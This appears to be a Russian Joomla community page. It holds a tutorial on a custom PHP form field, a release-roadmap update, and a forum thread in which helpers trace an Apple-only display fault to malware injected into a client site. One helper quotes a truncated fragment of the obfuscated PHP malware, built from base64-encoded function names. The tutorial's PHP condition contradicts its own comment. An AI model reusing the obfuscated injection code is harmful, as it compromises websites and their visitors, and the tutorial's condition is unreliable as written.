Новости Joomla

Свои типы полей в Joomla.

Свои типы полей в Joomla.Это большая тема, о которой можно говорить очень много

Это большая тема, о которой можно говорить очень много. Самое главное, что возможности применения ограничиваются только вашей больной фантазией. Вы строите интерфейс своего модуля или плагина и вам нужно подтянуть данные из сторонней системы (список чего-нибудь по какому-нибудь API), чтобы сохранить выбранный id в Joomla. Или сделать какую-то проверку и в зависимости от неё показать то или иное сообщение пользователю. Для этого подойдут свои пользовательские типы полей. Интерфейс Joomla по большей части описан в XML-файлах. У каждого из них свои параметры. Некоторые не описаны в документации (manual.joomla.org), поэтому самым любопытным будет полезно заглянуть в собственно файлы фреймворка по пути

libraries/src/Form/FormField.php, а так же в
libraries/src/Form/Fields. У каждого класса поля перечислены его специфические свойства, которые можно описывать в XML. А в своём типе поля вы можете устанавливать эти значения программно. В моём модуле WT Quick links под капотом происходят изменения. Теперь для работы (в админке) ему нужен вспомогательный плагин. А в самом модуле нам бы проверить, а не выключен ли он? В Joomla есть тип поля Note - заметка. Его можно использовать для вывода примечаний.

<field type="note" name="your_note_for_user" label="Заголовок примечания" title="Альтернативный способ для заголовка" description="Текст примечания" class="col-12 alert alert-info" heading="h1" close="true" />

heading - указывать уровень заголовка.
close - позволяет закрыть это примечание. В классе поля
libraries/src/Form/Field/NoteField.php описана логика вывода. И в принципе оно нам подходит для нашей задачи. Но оно будет выводить сообщение всегда, а нам нужно только тогда, когда плагин отключён. Поэтому берём и создаём свой класс поля, который мы унаследуем от
NoteField. Это значит, что у нас в руках будет весь инструментарий стандартного поля
Note + то, что мы сами добавим. В XML-манифест добавляем наше поле

<field type="systempluginstatus" name="systempluginstatus" addfieldprefix="Joomla\Module\Wtquicklinks\Site\Fields"/>

-

type - имя файла и класса,-
addfieldprefix - указываем namespace к нашему классу, может быть любой нам нужный-
name - нельзя полю без имени...Это означает, что Joomla будет использовать класс поля из файла
modules/mod_wt_quick_links/src/Fields/SystempluginstatusField.php.А в классе поля будет написано следующее:

<?php // namespace для атрибута addfieldprefix namespace Joomla\Module\Wtquicklinks\Site\Fields; // нельзя напрямую обращаться к этому файлу defined('_JEXEC') or die; // подключаем родительский класс для переопределения use Joomla\CMS\Form\Field\NoteField; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\PluginHelper; // имя класса и имя файла точь-в-точь class SystempluginstatusField extends NoteField { protected $type = 'Systempluginstatus'; protected function getLabel() { // если плагин не включён if(PluginHelper::isEnabled('system','wtquicklinks')) { // меняем свойства родительского класса $this->class = 'alert alert-danger w-100'; $this->element['label'] = '⚠️ А-а-а-а!'; $this->element['description'] = 'Плагин не включён!!'; // и просто рендерим его с нашими свойствами return parent::getLabel(); } // А иначе всё хорошо, скрываем поле из виду. $this->parentclass = 'd-none'; return ''; } }

Просто и удобно. И людям приятно, что о них позаботились и рассказали почему что-то не работает. @webtolkru#joomla #php #webdev #разработка

Обновлена информация в Плане развития Joomla

👩‍💻 Обновлена информация в Плане развития Joomla.Здесь собрана информация о датах релизов, описаны принципы версионирования, указаны ответственные за релизы, а так же даты окончания поддержки релизов. Опираясь на эту информацию вы можете планировать развитие ваших интернет-проектов.👩‍💻 Что нового?⛔️ Joomla 4.Дата окончания исправления ошибок безопасности в версии 4.x - 14 октября 2025г. ⚠️ После этой даты Joomla 4 прекратит получать какие-либо обновления, в том числе безопасности - вообще. Рекомендуем обновить ваши сайты до актуальной Joomla 5.✅ Joomla 5.- Дата окончания исправления ошибок в версии 5.x - 13 октября 2026г.- Дата окончания исправления ошибок безопасности в версии 5.x - 12 октября 2027 года.- Текущая актуальная (на момент написания заметки) версия - 5.3.1.- Опубликовано расписание выхода релизов Joomla 5.4. Стабильный релиз ожидается 14 октября 2025 года.✅ Joomla 6.- Дата окончания исправления ошибок в версии 6.x - 17 октября 2028г.- Дата окончания исправления ошибок безопасности в версии 6.x - 16 октября 2029г.- Опубликовано расписание выхода релизов Joomla 6.0. Стабильный релиз ожидается 14 октября 2025 года.- Для разработчиков уже доступна Joomla 6.0.0-alpha1.✅ Joomla! Framework.Обновлена информация о Joomla! Framework - полноценном PHP-фреймворке для разработки. Он в версиях 1.х и 2.х был самостоятельным параллельным проектом, однако начиная с версии Joomla 4.0 стал её основой. Добавлена информация о Joomla! Framework 3.x, который вышел 6 октября 2023 года. Его можно использовать в тех случаях, когда вам в проекте не нужна CMS Joomla целиком.Подробнее на сайте Joomla-сообщества Joomlaportal.ru#joomla #community

0 Пользователей и 1 Гость просматривают эту тему.
  • 23 Ответов
  • 700 Просмотров
*

ADM.Rare_puh

  • Осваиваюсь на форуме
  • 20
  • 1 / 0
Здравствуйте, уважаемые форумчане!
Прошу помощи с проблемой возникшей на устройствах APPLE.
Есть сайт ekgazeta.ru и например в разделе "архив" листинг материалов с некоторых пор перестал отображаться полностью на всех устройствах APPLE.
На ANDROID и WINDOWS отображается весь контент. Поясню, зайти, например сюда http://ekgazeta.ru/archive , то за 2020 год нет ни одного материала, а в 19ом остановилось отображение на 32 номере 33 уже и последующих не видно.

Сайт делали на заказ, что и где смотреть не знаю. Было это давно и контактов не осталось. На тот момент проблем не было.
Буду благодарен за помощь.

Информация о системе
 
Платформа, на которой работает PHP    Linux l17 4.9.45-1gb-cm-d #1 SMP Mon Aug 28 13:35:32 MSK 2017 x86_64
Версия базы данных    5.1.47-log
Кодировка базы данных    utf8_general_ci
Версия PHP    5.3.29
Веб-сервер    Apache
Интерфейс между веб-сервером и PHP    apache2handler
Версия Joomla!    Joomla! 3.4.8 Stable [ Ember ] 24-December-2015 19:30 GMT
Версия Joomla! Platform    Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT
« Последнее редактирование: 16.03.2020, 15:11:05 от ADM.Rare_puh »
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Версия Joomla!    Joomla! 3.4.8 Stable
Устаревшая версия Joomla, обновите до актуальной версии 3.9.16
Проверьте в корне сайта есть левые файлы с расширением .php ?
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
  ;D Доброго Дня !
А вы как смотрите прямо на устройстве или через инструменты разработчика (Dev Tools) в браузере?
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
Цитировать
Устаревшая версия Joomla, обновите до актуальной версии 3.9.16
draff - Обновление это хорошо но вы же понимаете что это не связано с этим !
*

AlexB

  • Завсегдатай
  • 1973
  • 54 / 2
а вас вот это не смущает?
http://joxi.ru/Drlgx1Yh0J8azA
*

AlexB

  • Завсегдатай
  • 1973
  • 54 / 2
  ;D Доброго Дня !
А вы как смотрите прямо на устройстве или через инструменты разработчика (Dev Tools) в браузере?
проверил и на аймаке и на айпаде
проблема действительно актуальна
*

ADM.Rare_puh

  • Осваиваюсь на форуме
  • 20
  • 1 / 0
Устаревшая версия Joomla, обновите до актуальной версии 3.9.16
Проверьте в корне сайта есть левые файлы с расширением .php ?

Благодарю, попробую обновить. Не обновлял так как побаивался, что-либо сломать. Читал, что бывают проблемы после обновления. Может быть есть рекомендации как корректно это сделать? Или можно воспользоваться любой инструкцией в сети?

  ;D Доброго Дня !
А вы как смотрите прямо на устройстве или через инструменты разработчика (Dev Tools) в браузере?
На устройстве.

а вас вот это не смущает?
http://joxi.ru/Drlgx1Yh0J8azA

Теперь когда увидел смущает) Но, что с этим делать даже не знаю) Откуда растут ноги и какой файл копать. Очень давно этим не занимался, да и когда пробовал, то на глубоком любительском уровне)
*

AlexB

  • Завсегдатай
  • 1973
  • 54 / 2
Благодарю, попробую обновить. Не обновлял так как побаивался, что-либо сломать. Читал, что бывают проблемы после обновления. Может быть есть рекомендации как корректно это сделать? Или можно воспользоваться любой инструкцией в сети?


Теперь когда увидел смущает) Но, что с этим делать даже не знаю) Откуда растут ноги и какой файл копать. Очень давно этим не занимался, да и когда пробовал, то на глубоком любительском уровне)
ну главное бэкап, а дальше зависит от того что установлено
Теперь когда увидел смущает) Но, что с этим делать даже не знаю) Откуда растут ноги и какой файл копать. Очень давно этим не занимался, да и когда пробовал, то на глубоком любительском уровне)

а тут только смотреть внутри
во всяком случае этого не должно быть
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
Цитировать
а вас вот это не смущает?
А да - Там верска ну просто нарушено !
*

ADM.Rare_puh

  • Осваиваюсь на форуме
  • 20
  • 1 / 0
Понял, попробую поковырять  *ОХ-Х-Х*
Спасибо, направление есть)

_________________________
Ещё вопрос, не могу писать личные сообщения и отвечать здесь на форуме. Это связано с небольшой активностью?
« Последнее редактирование: 16.03.2020, 15:49:16 от ADM.Rare_puh »
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
Цитировать
Понял, попробую поковырять  *ОХ-Х-Х*
Спасибо, направление есть)
Пробуйте - если не получится - скайп у вас в ЛС -  обращайтесь !
*

ADM.Rare_puh

  • Осваиваюсь на форуме
  • 20
  • 1 / 0
Пробуйте - если не получится - скайп у вас в ЛС -  обращайтесь !
Хорошо, спасибо!
*

ADM.Rare_puh

  • Осваиваюсь на форуме
  • 20
  • 1 / 0
Цитировать
Пробуйте - если не получится - скайп у вас в ЛС -  обращайтесь !
Доброго дня, gartes, пытался Вас найти в скайпе, но не смог по указанному имени(мелкософтовский скайп, такое чувство, что он вообще ничего не ищет, находит один какой-то логин, отдалённо похожий), так как не могу написать ЛС, то укажу свой здесь my_wonderfull_world .
Если не сложно, попробуйте найти меня.
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
например в разделе "архив" листинг материалов с некоторых пор перестал отображаться полностью на всех устройствах APPLE
Кстати гугл пишет что ошибок нет
Цитировать
Страница оптимизирована для мобильных устройств
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
draff Та полез в код !
Там вируснички  ))) Сидят !
Вот так  это выглядит !!
Код
$GLOBALS['_288780787_'] = Array(
base64_decode('' .'c3RycG' .'9' .'z'),
base64_decode('Zmls' .'ZV9wdX' .'RfY29' .'udGVud' .'HM='),
base64_decode('Zml' .'sZV' .'9wd' .'X' .'RfY29udGVu' .'d' .'H' .'M='),
base64_decode('ZG' .'F0ZQ=='),
base64_decode('anN' .'vbl9lbm' .'NvZG' .'U=')
); ?><? function _248266620($i){$a=Array('SFRUUF9SRUZFUkVS','dmsuY29t'
Ну и так далее ...
Ща поправим !
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Там вируснички
Значит вписана проверка на Юзер-Агент и гугл-бот .
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
Цитировать
Значит вписана проверка на Юзер-Агент и гугл-бот
Ну и такое может быть ! - но там еще с версткой статей - в визуальном редакторе немного напутали !! )))
Ща распарсю - глянем что дальше будет !
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
Люди - А помогите пожалуйста -
Нужно  Именно с Iphone - по этой ссылке
И Вы должны увидеть - выпуски газет - от №1 - до №51 - Если Вы их видите отпишите пожалуйста ! - Если нет то тоже !
Заранее благодарен !
*

AlexB

  • Завсегдатай
  • 1973
  • 54 / 2
Люди - А помогите пожалуйста -
Нужно  Именно с Iphone - по этой ссылке
И Вы должны увидеть - выпуски газет - от №1 - до №51 - Если Вы их видите отпишите пожалуйста ! - Если нет то тоже !
Заранее благодарен !
Айпад видит
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
*

ADM.Rare_puh

  • Осваиваюсь на форуме
  • 20
  • 1 / 0
gartes, выражаю глубочайшую признательность и благодарность!! )) *DRINK*  :D
Спасибо большое!
*

gartes

  • Завсегдатай
  • 1859
  • 142 / 6
  • Е = mс²
ADM.Rare_puh - та норм - Обращайтесь - Если что нужно !
Skype : agroparknew
*

ADM.Rare_puh

  • Осваиваюсь на форуме
  • 20
  • 1 / 0
Ребят, тему можно закрывать, проблема решена. gartes, ещё раз спасибо!  ^-^
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Пропало отображение в материалах

Автор kbwka

Ответов: 1
Просмотров: 493
Последний ответ 24.03.2025, 20:24:16
от R31rus
Отображение на мобильной версии

Автор annetkas

Ответов: 9
Просмотров: 9248
Последний ответ 28.10.2024, 10:56:18
от annetkas
Как сделать отображение времени создания материала?

Автор Pzhigalov

Ответов: 0
Просмотров: 833
Последний ответ 27.09.2023, 22:45:29
от Pzhigalov
Отображение меню мобильной версии сайта

Автор AnSk

Ответов: 1
Просмотров: 727
Последний ответ 22.08.2023, 18:52:55
от arma
Отображение полей

Автор vladmor

Ответов: 1
Просмотров: 502
Последний ответ 31.10.2021, 11:53:23
от vladmor